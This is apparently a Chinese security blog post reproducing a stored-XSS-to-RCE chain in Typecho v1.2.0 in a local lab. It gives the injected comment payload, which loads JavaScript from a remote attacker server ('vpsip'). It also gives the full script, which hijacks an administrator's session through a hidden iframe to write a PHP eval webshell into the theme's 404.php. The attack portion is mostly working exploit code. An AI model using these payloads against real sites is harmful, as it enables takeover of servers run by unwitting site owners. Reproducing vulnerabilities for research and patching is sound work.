【漏洞复现】Typecho v1.2.0 rce复现

  1. 【漏洞复现】Typecho v1.2.0 rce复现
  2. 环境搭建
  3. 漏洞复现
    1. rce

【漏洞复现】Typecho v1.2.0 rce复现

https://github.com/typecho/typecho/releases/tag/v1.2.0

环境搭建

最新版本是v1.2.1,存在漏洞的版本为v1.2.0

通过上面的链接将环境下载下来,然后放在目录下面开phpstudy就可以了。

然后直接install.php安装就可以了。

image-20230416133151360

然后就是正常安装就可以了。

漏洞复现

在评论处的网站框插入POC

image-20230416133733737

成功触发xss

image-20230416133759135

在后台的那个/admin/index.php登录进去,查看评论。

image-20230416134049273

成功触发xss

image-20230416134103297

rce

rce需要远程加载以下js文件

function step1(){ var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>"; var oldata=document.body.innerHTML; document.body.innerHTML=(oldata+data2); }

var times=0; var g_shell=0; function poc(){ if(times<=10){ var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content'); var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button'); olddatas=htmldata.innerText; htmldata.innerText=('<?php @eval($_GET["cookie"])?>\n')+olddatas; btn[1].click(); times+=1; if(g_shell==1){ var xhr1=new XMLHttpRequest(); xhr1.open('get','/usr/themes/default/404.php?shell=1'); xhr1.send(); } else{ return 0; } } } step1();

将这个js部署到其他的web服务器上面去。

image-20230416134613324

在评论处的网站框插入POC

http://xxx.xxx.com/"></a><script/src=http://vpsip/rce.js></script><a/href="#

image-20230416134718786

提交完毕之后发现服务器那边已经被访问了

image-20230416135209940

但是现在是游客,没有权限去修改,需要利用管理员的身份来对404.php文件进行编辑

登录后台进行管理评论,页面有短暂的转圈

image-20230416135519689

服务器的js文件又被请求了

image-20230416135538141

image-20230416141532736

成功更改

\usr\themes\default\404.php

image-20230416141605362

成功。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。